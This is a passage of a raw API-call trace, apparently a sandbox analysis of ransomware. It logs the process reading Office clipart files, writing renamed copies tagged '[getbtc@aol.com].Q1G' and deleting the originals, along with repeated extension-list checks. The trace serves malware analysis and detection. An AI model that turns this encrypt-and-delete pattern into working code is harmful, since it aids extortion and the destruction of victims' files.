dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0259.013] GetLastError () returned 0x0 [0259.013] ReadFile (in: hFile=0x3b4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1984, lpOverlapped=0x0) returned 1 [0259.046] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1990, lpOverlapped=0x0) returned 1 [0259.047] ReadFile (in: hFile=0x3b4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.047] WriteFile (in: hFile=0x3b0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.047] SetEndOfFile (hFile=0x3b0) returned 1 [0259.047] CloseHandle (hObject=0x3b0) returned 1 [0259.048] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.048] SetEndOfFile (hFile=0x3b4) returned 1 [0259.049] CloseHandle (hObject=0x3b4) returned 1 [0259.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 1 [0259.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0259.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0259.052] lstrlenW (lpString=".doc") returned 4 [0259.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.052] lstrlenW (lpString=".docx") returned 5 [0259.052] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0259.052] lstrlenW (lpString=".pdf") returned 4 [0259.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.052] lstrlenW (lpString=".xls") returned 4 [0259.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.052] lstrlenW (lpString=".xlsx") returned 5 [0259.052] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0259.052] lstrlenW (lpString=".ppt") returned 4 [0259.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0259.052] lstrlenW (lpString=".zip") returned 4 [0259.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.052] lstrlenW (lpString=".rar") returned 4 [0259.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.052] lstrlenW (lpString=".bz2") returned 4 [0259.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.053] lstrlenW (lpString=".7z") returned 3 [0259.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0259.053] lstrlenW (lpString=".dbf") returned 4 [0259.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0259.053] lstrlenW (lpString=".1cd") returned 4 [0259.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0259.053] lstrlenW (lpString=".jpg") returned 4 [0259.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0259.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0259.053] lstrlenW (lpString=".doc") returned 4 [0259.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.053] lstrlenW (lpString=".docx") returned 5 [0259.053] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0259.053] lstrlenW (lpString=".pdf") returned 4 [0259.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.053] lstrlenW (lpString=".xls") returned 4 [0259.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.053] lstrlenW (lpString=".xlsx") returned 5 [0259.053] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0259.053] lstrlenW (lpString=".ppt") returned 4 [0259.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0259.053] lstrlenW (lpString=".zip") returned 4 [0259.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.053] lstrlenW (lpString=".rar") returned 4 [0259.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.053] lstrlenW (lpString=".bz2") returned 4 [0259.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.053] lstrlenW (lpString=".7z") returned 3 [0259.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0259.054] lstrlenW (lpString=".dbf") returned 4 [0259.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0259.054] lstrlenW (lpString=".1cd") returned 4 [0259.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF") returned 63 [0259.054] lstrlenW (lpString=".jpg") returned 4 [0259.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.054] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.054] lstrlenW (lpString="J0107450.WMF") returned 12 [0259.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.075] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4920) returned 1 [0259.075] CloseHandle (hObject=0x3a8) returned 1 [0259.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 0x20 [0259.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.076] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.076] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0259.077] GetLastError () returned 0x0 [0259.077] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1338, lpOverlapped=0x0) returned 1 [0259.078] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1340, lpOverlapped=0x0) returned 1 [0259.079] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.079] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.079] SetEndOfFile (hFile=0x388) returned 1 [0259.079] CloseHandle (hObject=0x388) returned 1 [0259.079] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.079] SetEndOfFile (hFile=0x3a8) returned 1 [0259.083] CloseHandle (hObject=0x3a8) returned 1 [0259.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 1 [0259.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0259.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0259.084] lstrlenW (lpString=".doc") returned 4 [0259.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.084] lstrlenW (lpString=".docx") returned 5 [0259.084] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0259.084] lstrlenW (lpString=".pdf") returned 4 [0259.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.084] lstrlenW (lpString=".xls") returned 4 [0259.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.084] lstrlenW (lpString=".xlsx") returned 5 [0259.084] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0259.084] lstrlenW (lpString=".ppt") returned 4 [0259.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0259.084] lstrlenW (lpString=".zip") returned 4 [0259.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.085] lstrlenW (lpString=".rar") returned 4 [0259.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.085] lstrlenW (lpString=".bz2") returned 4 [0259.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.085] lstrlenW (lpString=".7z") returned 3 [0259.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0259.085] lstrlenW (lpString=".dbf") returned 4 [0259.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0259.085] lstrlenW (lpString=".1cd") returned 4 [0259.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0259.085] lstrlenW (lpString=".jpg") returned 4 [0259.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0259.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0259.085] lstrlenW (lpString=".doc") returned 4 [0259.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.085] lstrlenW (lpString=".docx") returned 5 [0259.085] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0259.085] lstrlenW (lpString=".pdf") returned 4 [0259.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.085] lstrlenW (lpString=".xls") returned 4 [0259.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.085] lstrlenW (lpString=".xlsx") returned 5 [0259.085] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0259.085] lstrlenW (lpString=".ppt") returned 4 [0259.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0259.085] lstrlenW (lpString=".zip") returned 4 [0259.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.085] lstrlenW (lpString=".rar") returned 4 [0259.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.085] lstrlenW (lpString=".bz2") returned 4 [0259.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.086] lstrlenW (lpString=".7z") returned 3 [0259.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0259.086] lstrlenW (lpString=".dbf") returned 4 [0259.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0259.086] lstrlenW (lpString=".1cd") returned 4 [0259.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0259.086] lstrlenW (lpString=".jpg") returned 4 [0259.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.086] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.086] lstrlenW (lpString="J0107456.WMF") returned 12 [0259.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.086] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3724) returned 1 [0259.086] CloseHandle (hObject=0x3a8) returned 1 [0259.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 0x20 [0259.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.087] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.087] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0259.088] GetLastError () returned 0x0 [0259.088] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xe8c, lpOverlapped=0x0) returned 1 [0259.089] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe90, lpOverlapped=0x0) returned 1 [0259.090] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.090] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0259.090] SetEndOfFile (hFile=0x388) returned 1 [0259.090] CloseHandle (hObject=0x388) returned 1 [0259.090] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.090] SetEndOfFile (hFile=0x3a8) returned 1 [0259.092] CloseHandle (hObject=0x3a8) returned 1 [0259.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 1 [0259.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0259.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0259.093] lstrlenW (lpString=".doc") returned 4 [0259.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.093] lstrlenW (lpString=".docx") returned 5 [0259.093] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0259.093] lstrlenW (lpString=".pdf") returned 4 [0259.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.093] lstrlenW (lpString=".xls") returned 4 [0259.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.093] lstrlenW (lpString=".xlsx") returned 5 [0259.094] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0259.094] lstrlenW (lpString=".ppt") returned 4 [0259.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0259.094] lstrlenW (lpString=".zip") returned 4 [0259.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.094] lstrlenW (lpString=".rar") returned 4 [0259.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.094] lstrlenW (lpString=".bz2") returned 4 [0259.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.094] lstrlenW (lpString=".7z") returned 3 [0259.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0259.094] lstrlenW (lpString=".dbf") returned 4 [0259.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0259.094] lstrlenW (lpString=".1cd") returned 4 [0259.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0259.094] lstrlenW (lpString=".jpg") returned 4 [0259.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0259.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0259.094] lstrlenW (lpString=".doc") returned 4 [0259.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.094] lstrlenW (lpString=".docx") returned 5 [0259.094] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0259.094] lstrlenW (lpString=".pdf") returned 4 [0259.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.094] lstrlenW (lpString=".xls") returned 4 [0259.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.094] lstrlenW (lpString=".xlsx") returned 5 [0259.094] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0259.094] lstrlenW (lpString=".ppt") returned 4 [0259.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0259.095] lstrlenW (lpString=".zip") returned 4 [0259.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.095] lstrlenW (lpString=".rar") returned 4 [0259.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.095] lstrlenW (lpString=".bz2") returned 4 [0259.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.095] lstrlenW (lpString=".7z") returned 3 [0259.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0259.095] lstrlenW (lpString=".dbf") returned 4 [0259.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0259.095] lstrlenW (lpString=".1cd") returned 4 [0259.095] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0259.095] lstrlenW (lpString=".jpg") returned 4 [0259.095] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.095] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0259.095] lstrlenW (lpString="J0107458.WMF") returned 12 [0259.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.096] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3568) returned 1 [0259.096] CloseHandle (hObject=0x3a8) returned 1 [0259.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf")) returned 0x20 [0259.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0259.096] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.096] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0259.097] GetLastError () returned 0x0 [0259.097] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xdf0, lpOverlapped=0x0) returned 1 [0259.326] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe00, lpOverlapped=0x0) returned 1 [0259.327] 